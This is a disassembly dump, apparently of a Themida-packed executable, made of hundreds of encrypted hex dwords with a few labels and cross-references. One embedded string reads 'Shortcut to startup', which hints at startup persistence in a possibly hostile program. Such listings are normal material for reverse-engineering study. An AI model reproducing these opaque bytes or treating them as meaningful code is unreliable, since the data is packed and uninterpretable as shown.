dd 55E9E6BFh, 3397F32Fh, 76148497h, 0B8918BABh, 0D19D1E40h
dd 321162EFh, 33FB8B75h, 339263EBh, 6AB18B5Dh, 7F18D26Dh
dd 77108F73h, 33898F8Fh, 62D08BD5h, 371F329h, 3C792D41h
dd 0B5918BBAh, 233E420Dh, 0C708A2FFh, 5F8DF454h, 0B8F7BF92h
dd 0FC1AD20Bh, 32908B54h, 121CA20Bh, 0BE9469B6h, 0D602B9D8h
dd 6591E1ABh, 339188BFh, 0F0CFABABh, 17E5028Bh, 17D50AEEh
dd 33919F71h, 0F0C7CDBAh, 0F810EDE3h, 0E36E665Dh, 339184BEh
dd 153D31ABh, 3E9BE2FDh, 3D41C793h, 13B38D8h, 0B79E4B3Fh
dd 33918BBEh, 35CC0E87h, 0B118EB5h, 43148443h, 3C918BD5h
dd 4B115355h, 0B69EF870h, 33918BD9h, 0DBC08B37h, 33918BADh
dd 6A52D277h, 37B5C722h, 37B5CF54h, 33918BF6h, 4252DA34h
dd 0BDD8AB5Bh, 0A8651A27h, 187B482Fh, 0B79ED373h, 33918BADh
dd 201C0EFCh, 4B118E08h, 0B79ED872h, 33918B20h, 0DBC28B37h
dd 33918BADh, 6852D077h, 37B5D722h, 37B5CF54h, 33918BFFh
dd 1D52D836h, 8E0C00B5h, 5594694Eh, 361EB32Fh, 33C80E58h
dd 0BE188BABh, 36739B44h, 5B97F36Ah, 33D80E7Ah, 33FB8BBAh
dd 3392630Ah, 6CB18BAEh, 4F18D494h, 77108F8Fh, 33888FF1h
dd 64D68BEAh, 660016B6h, 0BA514E40h, 0D1BCF2D8h, 0FE0400ABh
dd 55946976h, 0CC9AF32Ah, 231484F0h, 3C918BEAh, 287840CAh
dd 81918BBAh, 0DA2C02EAh, 8B94698Ah, 33918B57h, 0FEC8EA10h
dd 33A162CEh, 89F78BEAh, 32290F49h, 59918BBAh, 3079D95Dh
dd 13918BAEh, 0BACB480Dh, 0B295AFFFh, 2A95AF91h, 71918BEAh
dd 48D14827h, 0EA36766Fh, 34340674h, 0B8018E4Ch, 0B8F7DBAEh
dd 33FB1B55h, 33926385h, 6BB18BEAh, 7718D3B6h, 77108F9Eh
dd 338B8F79h, 63D18BAEh, 854B0394h, 0F98DD6EDh, 10F4365Eh
dd 8E1C8E08h, 3676DB10h, 65AA0637h, 10298EBAh, 30E6EDFBh
dd 0D18782D2h, 0F25EA0AEh, 32908B54h, 121CA20Bh, 0BE9469B6h
dd 0D602B9D8h, 6591E1ABh, 339188BFh
db 2 dup(0ABh), 83h
byte_54330B db 0E9h ; DATA XREF: Themida_:004EEC4Co
dd 58A4F305h, 0FC88B66h, 38Ah, 0B4E18000h, 0B1ACD80h, 83840FC0h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1A042444h, 42000000h, 3F1DC352h, 0DBBB0791h, 11E97Bh
dd 70620000h, 0F57C71E1h, 0B8DD3344h, 4B9000FEh, 8D27A6F7h
dd 0E24C42B5h, 0B3CC8A05h, 3B802h, 0E6FF0000h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 3C35545h, 0E63B4369h
dd 1870Fh, 0E8F50000h, 8, 0FCD63C95h, 8A2DC1A3h, 67C78050h
dd 89405F5Bh, 0E20F9585h, 6AC08B05h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 8B7DC351h
dd 0A603CDCAh, 1EA9BD83h, 750005E2h, 5BD8309h, 5E218h
dd 53501974h, 3B8C08Bh, 89000004h, 0E21DD585h, 619D8D05h
dd 0FF05E4B3h, 83585BD3h, 0E21805BDh, 17740005h, 3B85350h
dd 89000004h, 0E21DD585h, 29D8D05h, 0FF05E4B0h, 60585BD3h
dd 0D2D8D8Bh, 13E905E2h, 2C000000h, 0E891062Bh, 326E0254h
dd 0C63B633Dh, 0E69FF97Fh, 0F61E0A6h, 0A87h, 95896000h
dd 5E21889h, 0F616160h, 680h, 0CAF38100h, 8B405A87h, 95BD31C0h
dd 6605E20Fh, 260EF781h, 712ADE61h, 4B46D4D4h, 557F01DCh
dd 525CD4C8h, 0B336398h, 2633A9A9h, 265AF198h, 2C7AEF5Eh
dd 4E60307Ah, 0A5E4FFB4h, 3092F867h, 0A3BEA37Ah, 23D629F9h
dd 0A3BA7967h, 23D1C3D1h, 3A92D71Bh, 2933307Ah, 2633831Dh
dd 0E4B6C098h, 763641CFh, 7187D615h, 0D963AC7Fh, 0C4249D0Dh
dd 2664839Dh, 23593598h, 71F71F15h, 0AB63487Fh, 0C164121Dh
dd 0B3CC039Dh, 23D1B8B5h, 0A23C1493h, 26336AA1h, 71F7B015h
dd 0CE639F7Fh, 26334DAAh, 0A3BEF6D8h, 23D40452h, 0E2B624C8h
dd 763633CFh, 0A1AFF67h, 0E2B0307Ah, 0E2B61794h, 7636AACFh
dd 71872315h, 0D963567Fh, 0C424E00Dh, 26513D9Dh, 0AD666A98h
dd 74646474h, 2E4E11CEh, 24DA8DABh, 6633A698h, 260CD3DFh
dd 0D9C62C97h, 0EF002B67h, 0CF3B1713h, 263335B2h, 31B948ABh
dd 0AD03A718h, 0AD63E868h, 2C88005Ah, 0CF33A998h, 2633D49Bh
dd 0A57D896Fh, 0A13C3566h, 0D9CC656Ch, 7EFB4EC3h, 0E638EEDFh
dd 0D9FDD697h, 0E7B85667h, 7F6C8EC6h, 2637A851h, 71818815h
dd 0ABBE9F7Fh, 23D4157Fh, 9320h, 0E7FC7800h, 7310271h
dd 0C783C8D0h, 850F4904h, 0FFFFFFF2h, 58E7B58Dh, 8D8D05E7h
dd 5E75906h, 0E983CF2Bh, 0E8C88B05h, 7, 920A198h, 891CB915h
dd 0E210919Dh, 81665F05h, 814F98D8h, 6F9FC7h, 14E900h
dd 9F150000h, 48D73162h, 31DBD9AFh, 0DCE44ACEh, 0E3D96755h
dd 0B3BA43A5h, 8B00001Bh, 0E20B458Dh, 0F1F8B05h, 280h
dd 810CB000h, 0D055A1C3h, 81EB8A2Bh, 2E5B27F3h, 11E807h
db 2 dup(0)
word_54361E dw 7D3h ; DATA XREF: Themida_:004EFE58o
dd 9046D35Dh, 7A7C8011h, 0FA08BD57h, 0B03DCE3Ah, 0C3815E2Bh
dd 4DDD521Ch, 8935F180h, 0FDBD891Fh, 8105E200h, 231AC7EFh
dd 0B9B53108h, 8105E218h, 231AC3C7h, 498D0308h, 8105E215h
dd 1EAh, 13850F00h, 8B000000h, 0E2210985h, 29E905h, 0E8700000h
dd 0ADF7784Dh, 10E9CFA2h, 0F1000000h, 2E96C670h, 7851D166h
dd 0B32FD9EBh, 0E9663E2Ch, 0FFFFFF6Dh, 0DAC255A9h, 0E8571CF8h
dd 0Fh, 4F576C92h, 0F7B62DB5h, 0AF0232Bh, 2B2AAC7Eh, 0E21B7985h
dd 880F5905h, 5, 0BAF28166h, 73C181E6h, 0E900005Bh, 13h
dd 891D649Bh, 0E2E4E5Ah, 0EF83A523h, 9D9A56C3h, 2BD02FE0h
dd 0C1BF0FDBh, 89193C8Bh, 0E21745BDh, 0A5C78105h, 8B227205h
dd 0E21A3985h, 0ADEF8105h, 89526EA5h, 0E21601B5h, 0D8F78105h
dd 572812F8h, 1F29958Bh, 48F05E2h, 8D858B19h, 8105E217h
dd 54B30DEBh, 0F7B70F08h, 0B309C381h, 81F90854h, 0FFA52CFBh
dd 0AD850FFFh, 0FFFFFFFh, 68Eh, 0AD958B00h, 8D05E21Dh
dd 0E75BAA8Dh, 51006A05h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1704h, 0C3514100h, 23151B83h, 7E9h, 0A5ABEB00h
dd 1EBA4C5Bh, 6E9h, 343D5D00h, 8940991Dh, 0E20BE98Dh, 52006A05h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 3ED8611Bh, 12A590FAh, 25BBF0EEh, 0C72D725Fh, 0E2076185h
dd 6E9C05h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1504h, 0C3524200h, 0EB80530Ch, 5585C7B7h, 5E21Bh, 66000000h
dd 272CD281h, 21FDB5FFh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 526206C3h, 0E7E68EFDh
dd 8D897841h, 5E20941h, 0B1595FFh, 6A05E2h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0BA9230C3h
dd 0A2FF5264h, 81666B79h, 608F2FDEh, 20E28166h, 2D858947h
dd 6105E215h, 10719D2Bh, 6A05E2h, 0AB995FFh, 0C08B05E2h
dd 48957BEBh, 5030FCFDh, 0C39D4F3h, 66832669h, 0C498DFDCh
dd 0EB7C1F66h, 0BDAECEADh, 0C7874F59h, 0B7D9A354h, 64D857EFh
dd 40FD0478h, 4B5F6341h, 7226A604h, 8839180Ch, 8C00AA69h
dd 4AF79F50h, 554CCCE3h, 78E22797h, 0C5FDD3E2h, 304A1289h
dd 0C71C48FEh, 0F01F0A13h, 48ED0D36h, 0F0FE2825h, 0BFAF7E5Fh
dd 0FE5BFF01h, 0A8743141h, 9E427F89h, 0FFAF3E07h, 0F4D25539h
dd 5A703542h, 536CEB5Fh, 74726F68h, 20747563h, 73206F74h
dd 74726174h, 7075h, 13h dup(0)
dd 3C000000h, 17CE622h, 0E9000000h, 0FBAh, 0E75E3968h
dd 0F126E905h, 2568FFFBh, 0E905E75Fh, 0FFFBF11Ch, 0E7612168h
dd 0F112E905h, 6068FFFBh, 0E905E761h, 0FFFBF108h, 0E7620368h
dd 0F0FEE905h, 0C468FFFBh, 0E905E762h, 0FFFBF0F4h, 0E7675E68h
dd 0F0EAE905h, 368FFFBh, 0E905E76Ah, 0FFFBF0E0h, 0E76AF268h
dd 0F0D6E905h, 8BE6FFFBh, 55D11130h, 18996908h, 0E05CA2C5h
dd 0A102FC83h, 0DE513B5Eh, 93B6096Ah, 0EF72CF2Fh, 26499413h
dd 640B58D8h, 1CDF720Eh, 1A00658h, 8F114823h, 738E2632h
dd 0A5EDB388h, 78F4CEADh, 0EAD44D2Bh, 71CE288Ah, 0F60B2506h
dd 0A5EDB405h, 0CC64492Ah, 0FF3A85E2h, 0C96302EEh, 0FF3A87E7h
dd 0FC6002EEh, 6F51E987h, 6647B20Fh, 0D2A9F78Ah, 0FAC4ABCFh
dd 3642277Ch, 9A156AC8h, 0DBB6EFC9h, 0A00B961Ch, 9552F6A3h
dd 9A76CB2Bh, 0E8F39894h, 5DDA0583h, 3C704CEBh, 23F7634Dh
dd 0F8000000h, 0C652294Dh, 0CFCBD1ABh, 0C6A54ABh, 0C8A7D2B7h
dd 0A00B9B2Bh, 9261E752h, 83E8FD9Ah, 0BC3Bh, 8F118C00h
dd 78FBC732h, 64C4EA25h, 4EAE901Fh, 0A7F867F1h, 0ACAACAD0h
dd 0A354E987h, 88A5ED95h, 11BCCDABh, 0A5ED9A31h, 0B7C11E9Eh
dd 1C9BE649h, 0FEC0614Fh, 94F6217Eh, 801D3B50h, 0ABCFC250h
dd 7781A083h, 27C7DAE8h, 0FDAF3AE4h, 7C2738D2h, 4FDDBB7Dh
dd 92EF7127h, 830E51D0h, 1BB3DDA2h, 0EF8D6E83h, 0B192A00Ah
dd 0A2A74AE7h, 8360A5EFh, 55A80BF5h, 106BCC32h, 4FECCA85h
dd 96CB2E7Ch, 0D67h, 0EF72CD28h, 274A9713h, 60075ADBh
dd 0BADD229Eh, 0F998E344h, 53D4609Fh, 19996908h, 0DE5DA5C4h
dd 0A202FC83h, 38503A5Dh, 655D2A5h, 827557A0h, 2C338E11h
dd 6A0D52D2h, 0F979479Dh, 36BECCA4h, 0B89DE240h, 0CB7B7D90h
dd 0DDBEABCFh, 9B383F52h, 124FA00Bh, 0FDA7E76Eh, 8A7483E8h
dd 26BBD52Ah, 0A00BA755h, 3B1FF9DAh, 0D7h, 338EEDD3h, 8F119265h
dd 78FBC732h, 2960BB38h, 98C04B14h, 42307BC3h, 675F327Dh
dd 48A5ED2Eh, 0D72C86E8h, 11936FF2h, 0BD2145CCh, 0BD17AAC6h
dd 10ABCF55h, 106ED02Eh, 826744B3h, 0CE513617h, 253348ACh
dd 0F287708Dh, 0CFACA00Ah, 283449E1h, 0C3A5EFA2h, 56648E0h
dd 1FA596C6h, 11F65997h, 0A72FB00Eh, 25D3710Ah, 9863FE9Ah
dd 9D9A25D3h, 14F9DABEh, 5055D081h, 88F9307Ch, 0C7Bh, 0C366B934h
dd 1B3E83FFh, 54FB46A7h, 0AEB10E6Ah, 0ED8CCF50h, 37B80C83h
dd 0FD7D45E4h, 0C22181A0h, 86E6D87Fh, 243C1639h, 654EE89h
dd 665133A0h, 0E9922F47h, 4EA5EDB3h, 3ABD836Dh, 9DFF8E9Bh
dd 5237915Ch, 2C71F3CFh, 0A651EC04h, 8BA5ED5Ah, 7E439B5h
dd 11AF1829h, 0FBC7328Fh, 0EB052479h, 715FA205h, 8BED8BD3h
dd 671CC2Bh, 0D5634025h, 0CFD05CB8h, 9A374FABh, 0A00B96E1h
dd 0BB8B6546h, 0F9C751D8h, 304D2B76h, 0A00B9643h, 28962E7Ah
dd 1ADD70CBh, 1FA00B97h, 671D543Ch, 327055FAh, 0F2D5E337h
dd 0E9141826h, 13BD83E8h, 5D000000h, 0D7B01193h, 88F6AA75h
dd 2D0AE6CBh, 91260h, 294D5700h, 2B365A2Eh, 0C3A0538Dh
dd 624018B5h, 8BA3ABCFh, 0B308576h, 0AC4FE2A0h, 71A00B30h
dd 8EDCE92h, 0A93FA181h, 0B306314h, 1BEBC8A0h, 0F6D7429Fh
dd 30B00E11h, 54C9A4D3h, 33074F53h, 0AAF777B7h, 9F324AC5h
dd 38C70CDCh, 1F806241h, 931E63C1h, 39A2EDB2h, 3966BA4Eh
dd 0F97BBA4Eh, 0BB3D85A4h, 0A0542B66h, 3538C70Ch, 0F375C044h
dd 0B85D82AEh, 0FDB5EFA3h, 39899870h, 7FF416B7h, 770F5C3Dh
dd 68086792h, 3538C6C6h, 33B58004h, 0F5774BEEh, 0D91D61A8h
dd 0D17E96A2h, 91EC1BCDh, 16F5D035h, 48CF754Ch, 40F08D6Bh
dd 1B3EA9B3h, 380A57D5h, 142960BBh, 0E88F6C3Ch, 7A44AB9Dh
dd 0B8CAA6F9h, 0CF315F34h, 0C2E32E73h, 7DC35EF6h, 3838C780h
dd 9254C95Bh, 3B0B144Ch, 18B0D8B3h, 222B7FB7h, 7B554868h
dd 0D3D846E6h, 54E90154h, 490FABA3h, 0FDCDAB88h, 0AB3F3855h
dd 7E4490Fh, 539DF722h, 9DAF89D4h, 0FB162259h, 4EF5265Dh
dd 238DAB88h, 740000C1h, 7137121h, 2A0B11EAh, 50351643h
dd 7A44EC73h, 5469A0FBh, 0ED32B27Ch, 4C1EA3BEh, 0C7B8F1D3h
dd 0A7Fh, 0C76AB530h, 1F227FFBh, 58FF42A3h, 92B50A66h
dd 0D170CB2Ch, 3BBC0887h, 16141E0h, 0C6259DBCh, 8AEAD47Bh
dd 20381235h, 652EA8Dh, 9A6D4FA0h, 0DB328F11h, 7088760Ah
dd 409AD722h, 7100000Ah, 3886A9F4h, 0E0DE61BEh, 0A71B3E81h
dd 6D55F449h, 0B890B70Ah, 2D70F347h, 0E936B40Ah, 0A0FB7846h
dd 62BF2181h, 46DB77DFh, 0A00652B5h, 11AF987Ah, 0FBC7328Fh
dd 28D36E78h, 0DA5EDB3h, 5326492Eh, 0C03C82E9h, 39173463h
dd 0A0C8C32Bh, 0CFBCAF0Dh, 0A52A42ABh, 815A561Bh, 46315CCEh
dd 0F5A00B97h, 0DFEC2B76h, 6E3E1AF9h, 3A02178Dh, 3F61C8F1h
dd 19B4DCB7h, 0E430538Fh, 84E611F2h, 0F00D2B60h, 0DE51A264h
dd 3A84AC8Fh, 0E8932EBAh, 4DD286ADh, 18E6896Eh, 1DD04B98h
dd 2343EF7Ch, 99D99D6h, 97120000h, 61DD2544h, 24857D1Ch
dd 0EC48B6D9h, 0AD0EF097h, 2A65CF52h, 0BFC21D9Eh, 0FB9EE343h
dd 3255A807h, 70176CCCh, 8F30E1Ah, 2DA00652h, 8F117C4Fh
dd 15ADC732h, 0EDB3FFF8h, 694724A5h, 6BC82887h, 0E7C49910h
dd 0B3AA2D40h, 0E90DA5EDh, 1C03C5EEh, 0DD2BC7Bh, 4EF0FC63h
dd 0E4E2E631h, 7A563B88h, 0B0D44FE2h, 0CAA9ABD4h, 4EA816AEh
dd 0C7328DECh, 0B59601E6h, 0CF117AACh, 2EE2E0Fh, 0FE7ABC3Ch
dd 705576A1h, 328F11D1h, 0B329B926h, 8DC4B078h, 0E3446AA3h
dd 75BDBED3h, 8162A006h, 0E17C94BCh, 0A0067616h, 753D3E53h
dd 1E2A006h, 3D745C3Fh, 306BB635h, 766FB347h, 0DC6F2049h
dd 0D5000008h, 9C620558h, 44BADD22h, 0BF79AE5h, 0F13150ADh
dd 240C136Eh, 81DC5FEBh, 5DA200FEh, 1467C43Ah, 0D62B8D75h
dd 324FDBB3h, 0A0065149h, 113B0CEEh, 0FBC7328Fh, 65ED2479h
dd 43A57014h, 7F8A3E82h, 0AC711CD6h, 7DFC638Dh, 0C1A5AC9Bh
dd 3773AE4h, 0AED3CE42h, 0A0850C4Fh, 434BF5C3h, 0D089CAF7h
dd 0C43390EEh, 0C84D09E7h, 92000005h, 0EC4F294Dh, 0DD22D8Ch
dd 0B4DCA182h, 0D50F8619h, 0EB4DB3ABh, 6E4A1B96h, 2D93BD9Eh
dd 0B3D376CBh, 4E256C2Fh, 1972C3F8h, 4ACA156Dh, 1AB15B4Eh
dd 52D1AAC7h, 7556269Ah, 0FB81B890h, 0D926806Eh, 9DA38D5Eh
dd 0A77B091h, 4E32h, 9314DA00h, 716D3034h, 0C7A4EB99h
dd 2D4D0EE9h, 0B3EF8825h, 5734A5EDh, 604EE672h, 0BFD2BE01h
dd 0A5EDB3BCh, 7B7C9129h, 0A0A5EDB3h, 3984E3C3h, 2303EDFEh
dd 1BAC940h, 0CC65516h, 0E824AF55h, 896963AEh, 7, 2A7605Eh
dd 4D570000h, 99C65229h, 810AEE1Bh, 227FE1E2h, 27F1D6F7h
dd 0A799F20Fh, 0DDBEABD4h, 5A592CB3h, 0C5F6F828h, 366516ABh
dd 0E9CAA006h, 0FDFB960Fh, 90A00636h, 2ACD60F8h, 0FA00636h
dd 770D442Ch, 69077CE0h, 35BBBCD1h, 0FD1FA006h, 9372463h
dd 77412206h, 1D4942DFh, 2D0EA5EDh, 0E833B40Ah, 22BFD7A1h
dd 9A1E6359h, 2D13FDDEh, 933877CAh, 2B4320A4h, 1E63E596h
dd 0CEF029Ah, 119A1E64h, 0D48D6E32h, 0D0549755h, 0FDC3ADD8h
dd 0F109277Ah, 2752AF0Fh, 0D28C6F06h, 0B2919A1Dh, 0FB7B47E6h
dd 0F9116BA6h, 1DD29364h, 0DDBB989Ah, 0F329313h, 136ECFD6h
dd 56EB8B32h, 62D4A73Ah, 7A599A1Eh, 86F11A95h
dd 1D9B6502h, 0A806E8C0h, 0B297EC46h, 8F30EA6h, 2D9A1E63h
dd 0A9C3624Eh, 62FBFC11h, 43209A1Eh, 6335D875h, 0B3309A1Eh
dd 77F9C968h, 7D95EF2Ah, 4BEA37B3h, 9A1E62B0h, 0FDBA9675h
dd 9B6E2D4Dh, 0AAFA47A7h, 6F946A4h, 0D97122D3h, 0CE499417h
dd 5AA705FDh, 0B241C77Eh, 89CB157Ah, 89728F27h, 0AEA5EDBFh
dd 77E3CDh, 78000004h, 0E24F8E11h, 82D0A196h, 89E32EF3h
dd 0DF79C427h, 0ED3BB942h, 0B39D7EA5h, 433A9646h, 0AAF576BDh
dd 65B83B87h, 0F14EAC92h, 25DB123Eh, 26328DEEh, 3B88738Eh
dd 0CEADA5EDh, 38B8BEE2h, 2634DEBh, 855370BFh, 3B83710Ch
dd 33B0A5EDh, 1E81A1E8h, 5D0B54C3h, 0E46AAC61h, 38CC6543h
dd 3BC1B8E0h, 42B78F8h, 0A13C54ECh, 0A5ECD9D6h, 22D5785Bh
dd 7A5ECDAh, 5624C24h, 0BCFB46A7h, 97C9B6AFh, 0F98B3CE8h
dd 33B27C14h, 0FA8900E8h, 0A5ED61FEh, 0FF36CA8Fh, 0F71A3D80h
dd 0A5ED6E78h, 0B3A1EC96h, 294289CAh, 95FFFFFFh, 7F6E1847h
dd 8BC0B4B3h, 1C61C3ADh, 0D72C8A74h, 9CAD8B58h, 327DC222h
dd 0ECC4F55Ah, 7FBDC0E3h, 0A7F8FC91h, 0A29BA5EDh, 4895171Eh
dd 0DA778F29h, 0A5EDA821h, 654B2506h, 1D70BF02h, 766148C3h
dd 0C03A849Ch, 0C15C3463h, 0D57A0536h, 5D3B18FBh, 999560E4h
dd 3AB95767h, 75h, 52294D8Dh, 6813AEC6h, 0CDA5EDB3h, 0D76A02EEh
dd 0ABD510B4h, 5324B9D1h, 0D8A00657h, 6E4D1DFBh, 6674923h
dd 816F7CBBh, 6580CECh, 38CC85A0h, 0E3AF71BDh, 2B1283h
dd 42A50000h, 0A5EDBE89h, 0E03BB806h, 0EDA8AA4Dh, 4AE78FA5h
dd 0A5EDA8B1h, 0CEB09576h, 0C5E6116Eh, 0FD716FE0h, 6046FFFFh
dd 11h, 2916057h, 0A6080000h, 0ABB8F74Ch, 29075ADBh, 2F8F114Eh
dd 60AF8CD1h, 0FE81DE5Eh, 0D563185Ch, 0CFD264B8h, 0C5211FABh
dd 0AE313178h, 22072453h, 0B8BFD25Dh, 0CFA00B94h, 2767EE92h
dd 0C883E8F2h, 20h, 52294D1Fh, 0CBD1ABC6h, 7754ABCFh, 9B8E6538h
dd 7831A00Bh, 0FCFD31C4h, 0E2A683E8h, 29000000h, 0E4798F11h
dd 0A5EDB413h, 0DB563B18h, 0CE499417h, 0F42380E0h, 8FD4529Ch
dd 0E5432300h, 6ECEB098h, 0B5B96E6Dh, 896E8053h, 7E7B4BE6h
dd 0D454A5EDh, 224AE88Fh, 49B7CF69h, 0A6BB95E8h, 0ABD22538h
dd 31CA67FFh, 0E8A008C4h, 0EFFC3B88h, 2BCC6109h, 0F0A008C4h
dd 82624E13h, 0B2FD42BCh, 0ED3308Ch, 3EA10F29h, 0A70A55E3h
dd 0BBBCD17Fh, 60A00959h, 3BCBC283h, 86F14CABh, 59E8C0A5h
dd 126FF13Fh, 2F9DC6E7h, 514B76C9h, 0F3743A16h, 2E8E7DA8h
dd 1F9A766Dh, 44222h, 0AFF24F00h, 67BC3688h, 3C7FFEC0h
dd 0FA47A51Dh, 0B5086B57h, 0F145BA92h, 0B20C136Eh, 7648EF34h
dd 3F83A6F9h, 75C160BDh, 4CB740DDh, 9E7CA006h, 2E8E11ADh
dd 5D028DD2h, 0C0A72700h
dword_544450 dd 351AFF97h, 0EA4CAC12h, 0CB6E3390h, 328F11FEh, 2479FBC7h
; DATA XREF: ___:off_43BFBCo
dd 1877C30Ch, 1DD8403Ah, 6CF01233h, 7EE17917h, 70BDEA64h
dd 902D4BD7h, 0A5ECB6E7h, 0EC816F4Ch, 0ABCED544h, 12DC7457h
dd 376E4A95h, 0A989D58h, 0C11E98A0h, 0D8A33E56h, 5DA00A98h
dd 0DB28847Eh, 0CEA9C45Ch, 53A00A98h, 0BB18870h, 8BC8D15h
dd 0C419955Bh, 0F290784Dh, 0EA07116Ah, 0A5ECB74Ah, 0DF98355Dh
dd 3B9A287Ah, 0ECC81499h, 4E7C926h, 8360BB3Ah, 54A90BF5h
dd 2549ED7Ch, 0F4AFC26Eh, 89A00F5Bh, 0C1208EAAh, 0C9B4DB7Eh
dd 7C9440A3h, 0E343A1FFh, 0D2F33E83h, 0BE00280Dh, 7716E23Dh
dd 60FAh, 2F47F100h, 0EDB3E992h, 836D4EA5h, 0EDB409EEh
dd 740F54A5h, 8E23BBD5h, 0A5EDB3EDh, 0B9875132h, 0D7AAE538h
dd 0A5EDB424h, 0A3721643h, 0E51FF42h, 65499038h, 0FDFE1396h
dd 22A5ED4Fh, 0B9D47C41h, 0A5ED4FBEh, 99A88063h, 3877CA29h
dd 0ED4F8F65h, 0C77D3CA5h, 4AE7EF4Ch, 0A5ED4FB1h, 91B09576h
dd 0F6794758h, 715F6CABh, 0A2ED308Fh, 60C11F9Ch, 0ECB1921Dh
dd 0DC219DA5h, 0D5A63B55h, 5AA5EDB3h, 0D72A8979h, 0F197C258h
dd 0EE92E73Fh, 768C827h, 1DB0D7B4h, 0A5EDC6DCh, 0BB98E543h
dd 0CAFD848Bh, 0FF5C2D89h, 47B2FFFFh, 9FD4B318h, 7055DC21h
dd 5ED2DFEFh, 0D72C8C72h, 0AAF777B9h, 96B57CEh, 0ED7195B4h
dd 3967FA96h, 7CABCFA3h, 75FA4D3h, 230D4332h, 5A296043h
dd 0A00AB89Dh, 0D36920h, 83E8160Ch, 25B5h, 294D3A00h, 0D1ABC652h
dd 54ABCFCBh, 8E653877h, 31A00B9Bh, 0FD31C478h, 9A83E8FCh
dd 0A18FD454h, 0DEB5h, 18473A00h, 0E34A7967h, 1FB2DEB8h
dd 0A5EDB25Ch, 2816E2C1h, 323C7BC8h, 49236EB1h, 0C9B90467h
dd 743A166Bh, 860AFF4h, 0BEF946A6h, 7BFDC3ADh, 2A65B83Bh
dd 0D21C3419h, 1F2E0A55h, 0EDB7D2F0h, 207DFFA5h, 0AB09F701h
dd 2C41DB56h, 0A5EDAE4Bh, 422EF3D0h, 68A7FC7Ch, 9FB9D21Ah
dd 0CFCC4A02h, 8BAE8DABh, 0C3B4C961h, 76A00B90h, 586DA4F7h
dd 0AFBD9B78h, 8C244C47h, 9E7AC522h, 0F0445583h, 95A380A5h
dd 3A75C82Bh, 0DD2CCF62h, 12F19A26h, 0E5CB634Dh, 0A6183F82h
dd 0EAA3FA45h, 0D27C4F4Bh, 19DEAA7h, 97120000h, 61DD2544h
dd 24857D1Ch, 0EC48B6D9h, 0AD0EF097h, 2A65CF52h, 0BFC21D9Eh
dd 0FB9EE343h, 3255A807h, 70176CCCh, 8F30E1Ah, 2DA0064Ah
dd 8E117C4Fh, 52D22C33h, 4D9D6A0Dh, 0F3841929h, 38A5EDB3h
dd 1C9BE846h, 0EB856A4Fh, 0DC5BA605h, 0F409210Fh, 0ABCFCC04h
dd 0C31E816Fh, 0E07D15F5h, 0A00B9C17h, 0DF5A3F1Ch, 78952D45h
dd 0A00B9B7Fh, 0CBACC7A4h, 2FA00B9Bh, 93C27B7Fh, 0A98A6E95h
dd 54C5B2CFh, 81F8A00Bh, 0B63478FBh, 0A4DD83E8h, 0BD000000h
dd 0C756E612h, 0E8390Dh, 328F1137h, 2578FBC7h, 0B8AF97EAh
dd 0A000A5EDh, 62C23C43h, 2A8D731Dh, 0E280F9D7h, 0DA77017Ah
dd 0ABCFCCF2h, 3953F6D5h, 0EC2B76F7h, 5B1CB1DFh, 0C0A00B91h
dd 0EF7715E3h, 9461FC94h, 9DA5F041h, 0CB2C92BEh, 8E11D170h
dd 483DD833h, 0E6137C4Fh, 0AEA9h, 3B86E300h, 0F350AA14h
dd 0C813926Ch, 86DB59A9h, 419C1FE3h, 6DD9563Eh, 2E90B70Ah
dd 12EC73D0h, 0DB274A95h, 9650459h, 4A1BDC71h, 2200A006h
dd 338E1149h, 0D52D22Ch, 0C5B6CB63h, 74A5EDB3h, 0E5C6AAF5h
dd 118D7A0Bh, 0FBC7328Fh, 0E1052479h, 0D76A067Dh, 0ABD510B0h
dd 0D53D8AD5h, 2E404F4Ch, 16816242h, 0D47BC828h, 1B358AEAh
dd 198D6E83h, 0B192A006h, 0DCD3AEE7h, 2190767h, 22829137h
dd 0E444BADDh, 0D22E109Fh, 797CE38Dh, 35B0A8B2h, 106AA38Dh
dd 901023D9h, 52D22C33h, 0CCD820Dh, 0BB000000h, 0B2016F14h
dd 0F6C21AFFh, 112E1901h, 0E0CE4994h, 0CAF42380h, 0DBE7126Dh
dd 0A78B065Bh, 0B0BEF944h, 9DA5EC2Fh, 6B57C21Fh, 7678B70Ah
dd 5C68A7FCh, 815A5452h, 4C2h, 4EA8300h, 5C241487h, 81E38953h
dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 89512404h, 4C181E1h
dd 83000000h, 0C8704E9h, 1C895C24h, 0C5BA5224h, 0B869AD18h
dd 9C3A4432h, 530C8905h, 2DD00131h, 31530C89h, 1C8B545Ah
dd 4C48124h, 50000000h, 1B242C81h, 8F008276h, 43810843h
dd 82761B08h, 241C8B00h, 81E68956h, 4C6h, 4C68300h, 5C243487h
dd 582434FFh, 4C481h, 79E90000h, 4CFFFBE1h, 0C5B82F57h
dd 305E76Bh, 7E0FFC5h, 7012ECAEh, 1C4EF79Eh, 6F76A895h
dd 35304862h, 7B0AD613h, 883AA1C3h, 8B624042h, 77104F5Ah
aNNs db 'ÈNé°',0 ; DATA XREF: Themida_:004F072Co
align 10h
dd 0DA8C6660h, 0F04C2F6h, 0C85h, 2D853B00h, 0F05E226h
dd 3684h, 0D853B00h, 0F05E215h, 2A84h, 89853B00h, 0F05E211h
dd 1E84h, 11853B00h, 0F05E209h, 1284h, 0B1BD8300h, 105E218h
dd 5840Fh, 5FE90000h, 8B000000h, 3C5203D0h, 88BA8Bh, 4A8B0000h
dd 0FC98578h, 4984h, 0F8C28100h, 8B000000h, 0C8030C72h
dd 8B1C598Bh, 0D8031451h, 0C9850B8Bh, 10840Fh, 0CE3B0000h
dd 17820Fh, 0CF3B0000h, 0F830Fh, 0C3830000h, 850F4A04h
dd 0FFFFFFDCh, 0DE9h, 429D8D00h, 0B805E24Ch, 5, 0C361E3FFh
